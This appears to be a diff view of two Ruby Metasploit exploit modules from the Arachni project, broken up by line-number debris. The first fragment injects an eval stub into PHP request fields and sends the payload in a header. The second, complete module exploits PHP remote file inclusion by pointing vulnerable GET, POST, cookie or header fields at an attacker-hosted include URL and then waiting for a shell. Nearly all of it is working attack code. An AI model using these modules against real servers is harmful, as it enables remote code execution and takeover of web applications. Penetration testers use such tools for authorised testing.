headers = _str_to_hash( _sub_injection( datastore['HEADERS'].to_s, headername, '::' ), '::' )
|
|
92
|
+
post = _str_to_hash( _sub_injection( datastore['POST'].to_s, headername ) )
|
|
93
|
+
get = _str_to_hash( _sub_injection( datastore['GET'].to_s, headername ) )
|
|
94
|
+
uri = datastore['PATH'].to_s
|
|
95
|
+
method = post.empty? ? 'GET' : 'POST'
|
|
96
|
+
|
|
97
|
+
if( post.empty? && get.empty? && headers.empty? && cookies.empty? )
|
|
98
|
+
print_error( 'At least one of GET/POST/COOKIES/HEADERS must be set.' )
|
|
99
|
+
# return
|
|
100
|
+
end
|
|
101
|
+
|
|
102
|
+
headers[headername] = payload.encoded
|
|
103
|
+
headers['Connection'] = 'close'
|
|
104
|
+
|
|
105
|
+
print_status( "Sending HTTP request for #{uri}" )
|
|
106
|
+
res = send_request_cgi( {
|
|
107
|
+
'global' => true,
|
|
108
|
+
'uri' => uri,
|
|
109
|
+
'method' => method,
|
|
110
|
+
'vars_get' => get,
|
|
111
|
+
'vars_post' => post,
|
|
112
|
+
'headers' => headers,
|
|
113
|
+
'cookie' => cookies
|
|
114
|
+
}, 0.01 )
|
|
115
|
+
|
|
116
|
+
handler
|
|
117
|
+
end
|
|
118
|
+
|
|
119
|
+
#
|
|
120
|
+
# Converts a URI styled query string into a key=>value hash
|
|
121
|
+
#
|
|
122
|
+
def _str_to_hash( str, sep = '&' )
|
|
123
|
+
hash = {}
|
|
124
|
+
str.split( sep ).map do |part|
|
|
125
|
+
splits = part.split( '=', 2 )
|
|
126
|
+
next if !splits[0] || !splits[1]
|
|
127
|
+
hash[splits[0]] = splits[1]
|
|
128
|
+
end
|
|
129
|
+
|
|
130
|
+
return hash
|
|
131
|
+
end
|
|
132
|
+
|
|
133
|
+
#
|
|
134
|
+
# Substitutes 'XXinjectionXX' in values of a URI styled query string with the
|
|
135
|
+
# payload
|
|
136
|
+
#
|
|
137
|
+
def _sub_injection( str, headername, sep = '&' )
|
|
138
|
+
|
|
139
|
+
stub = "eval($_SERVER[HTTP_#{headername.gsub("-", "_")}]);"
|
|
140
|
+
|
|
141
|
+
stub = URI.encode( stub, ';' ) if sep != '&'
|
|
142
|
+
|
|
143
|
+
return str.to_s.split( sep ).map do |var|
|
|
144
|
+
k,v = var.split( '=', 2 )
|
|
145
|
+
next if !v || !k
|
|
146
|
+
k + "=" + v.gsub( 'XXinjectionXX', stub )
|
|
147
|
+
end.reject do |i| !i end.join( sep )
|
|
148
|
+
end
|
|
149
|
+
|
|
150
|
+
end
|
|
@@ -0,0 +1,141 @@
|
|
|
1
|
+
require 'msf/core'
|
|
2
|
+
|
|
3
|
+
class Metasploit3 < Msf::Exploit::Remote
|
|
4
|
+
Rank = ExcellentRanking
|
|
5
|
+
|
|
6
|
+
include Msf::Exploit::Remote::Tcp
|
|
7
|
+
include Msf::Exploit::Remote::HttpClient
|
|
8
|
+
include Msf::Exploit::Remote::HttpServer::PHPInclude
|
|
9
|
+
|
|
10
|
+
def initialize( info = {} )
|
|
11
|
+
super( update_info( info,
|
|
12
|
+
'Name' => 'Arachni Generic PHP Remote File Inclusion Exploit',
|
|
13
|
+
'Description' => %q{
|
|
14
|
+
This module allows complex HTTP requests to be crafted in order to
|
|
15
|
+
allow exploitation of PHP remote file inclusion vulnerabilities.
|
|
16
|
+
|
|
17
|
+
Use 'XXinjectionXX' to mark the value of the vulnerable variable/field,
|
|
18
|
+
i.e. where the payload should go.
|
|
19
|
+
|
|
20
|
+
Supported vectors: GET, POST, COOKIE, HEADER.
|
|
21
|
+
(Mainly for use with the Arachni plug-in.)
|
|
22
|
+
},
|
|
23
|
+
'Author' => [
|
|
24
|
+
'Tasos "Zapotek" Laskos <tasos.laskos@gmail.com>', # extended it to work with GET/POST/COOKIE/HEADER
|
|
25
|
+
'hdm', # original exploit: exploits/unix/webapp/php_include.rb
|
|
26
|
+
'egypt' # original exploit: exploits/unix/webapp/php_include.rb
|
|
27
|
+
],
|
|
28
|
+
'License' => MSF_LICENSE,
|
|
29
|
+
'Version' => '$Revision: 10694 $',
|
|
30
|
+
'References' =>
|
|
31
|
+
[
|
|
32
|
+
['URL', 'http://github.com/Zapotek/arachni'],
|
|
33
|
+
],
|
|
34
|
+
'Privileged' => false,
|
|
35
|
+
'Payload' =>
|
|
36
|
+
{
|
|
37
|
+
'DisableNops' => true,
|
|
38
|
+
'Compat' =>
|
|
39
|
+
{
|
|
40
|
+
'ConnectionType' => 'find',
|
|
41
|
+
},
|
|
42
|
+
# Arbitrary big number. The payload gets sent as an HTTP
|
|
43
|
+
# response body, so really it's unlimited
|
|
44
|
+
'Space' => 262144, # 256k
|
|
45
|
+
},
|
|
46
|
+
'DefaultOptions' =>
|
|
47
|
+
{
|
|
48
|
+
'WfsDelay' => 30
|
|
49
|
+
},
|
|
50
|
+
'Platform' => 'php',
|
|
51
|
+
'Arch' => ARCH_PHP,
|
|
52
|
+
'Targets' => [[ 'Automatic', { }]],
|
|
53
|
+
'DefaultTarget' => 0 ) )
|
|
54
|
+
|
|
55
|
+
register_options( [
|
|
56
|
+
OptString.new( 'GET', [ false, "GET parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
|
|
57
|
+
OptString.new( 'POST', [ false, "POST parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
|
|
58
|
+
OptString.new( 'COOKIES', [ false, "Cookies to be sent with the request. ('foo=bar;vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
|
|
59
|
+
OptString.new( 'HEADERS', [ false, "Headers to be sent with the request. ('User-Agent=bar::vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
|
|
60
|
+
OptString.new( 'PATH', [ true, "The path to the vulnerable script.", "/cgi-bin/generic" ] ),
|
|
61
|
+
], self.class )
|
|
62
|
+
end
|
|
63
|
+
|
|
64
|
+
def check
|
|
65
|
+
uri = datastore['PATH'] ? datastore['PATH'].dup : ""
|
|
66
|
+
|
|
67
|
+
if( uri && ! uri.empty? )
|
|
68
|
+
|
|
69
|
+
uri.gsub!( /\?.*/, "" )
|
|
70
|
+
|
|
71
|
+
print_status( "Checking uri #{uri}" )
|
|
72
|
+
|
|
73
|
+
response = send_request_raw({ 'uri' => uri})
|
|
74
|
+
if response.code == 200
|
|
75
|
+
return Exploit::CheckCode::Detected
|
|
76
|
+
end
|
|
77
|
+
|
|
78
|
+
print_error( "Server responded with #{response.code}" )
|
|
79
|
+
return Exploit::CheckCode::Safe
|
|
80
|
+
else
|
|
81
|
+
return Exploit::CheckCode::Unknown
|
|
82
|
+
end
|
|
83
|
+
|
|
84
|
+
end
|
|
85
|
+
|
|
86
|
+
def php_exploit
|
|
87
|
+
|
|
88
|
+
cookies = _sub_injection( datastore['COOKIES'].to_s, ';' )
|
|
89
|
+
headers = _str_to_hash( _sub_injection( datastore['HEADERS'].to_s, '::' ), '::' )
|
|
90
|
+
post = _str_to_hash( _sub_injection( datastore['POST'].to_s ) )
|
|
91
|
+
get = _str_to_hash( _sub_injection( datastore['GET'].to_s ) )
|
|
92
|
+
uri = datastore['PATH'].to_s
|
|
93
|
+
method = post.empty? ? 'GET' : 'POST'
|
|
94
|
+
|
|
95
|
+
if( post.empty? && get.empty? && headers.empty? && cookies.empty? )
|
|
96
|
+
print_error( 'At least one of GET/POST/COOKIES/HEADERS must be set.' )
|
|
97
|
+
return
|
|
98
|
+
end
|
|
99
|
+
|
|
100
|
+
print_status( "Sending HTTP request for #{uri}" )
|
|
101
|
+
res = send_request_cgi( {
|
|
102
|
+
'global' => true,
|
|
103
|
+
'uri' => uri,
|
|
104
|
+
'method' => method,
|
|
105
|
+
'vars_get' => get,
|
|
106
|
+
'vars_post' => post,
|
|
107
|
+
'headers' => headers,
|
|
108
|
+
'cookie' => cookies
|
|
109
|
+
}, 0.01 )
|
|
110
|
+
|
|
111
|
+
handler
|
|
112
|
+
end
|
|
113
|
+
|
|
114
|
+
#
|
|
115
|
+
# Converts a URI styled query string into a key=>value hash
|
|
116
|
+
#
|
|
117
|
+
def _str_to_hash( str, sep = '&' )
|
|
118
|
+
hash = {}
|
|
119
|
+
str.split( sep ).map do |part|
|
|
120
|
+
splits = part.split( '=', 2 )
|
|
121
|
+
next if !splits[0] || !splits[1]
|
|
122
|
+
hash[splits[0]] = splits[1]
|
|
123
|
+
end
|
|
124
|
+
|
|
125
|
+
return hash
|
|
126
|
+
end
|
|
127
|
+
|
|
128
|
+
#
|
|
129
|
+
# Substitutes 'XXinjectionXX' in values of a URI styled query string with the
|
|
130
|
+
# payload
|
|
131
|
+
#
|
|
132
|
+
def _sub_injection( str, sep = '&' )
|
|
133
|
+
|
|
134
|
+
return str.to_s.split( sep ).map do |var|
|
|
135
|
+
k,v = var.split( '=', 2 )
|
|
136
|
+
next if !v || !k
|
|
137
|
+
k + "=" + v.gsub( 'XXinjectionXX', php_include_url )
|
|
138
|
+
end.reject do |i| !i end.join( sep )
|
|
139
|
+
end
|
|
140
|
+
|
|
141
|
+
end
|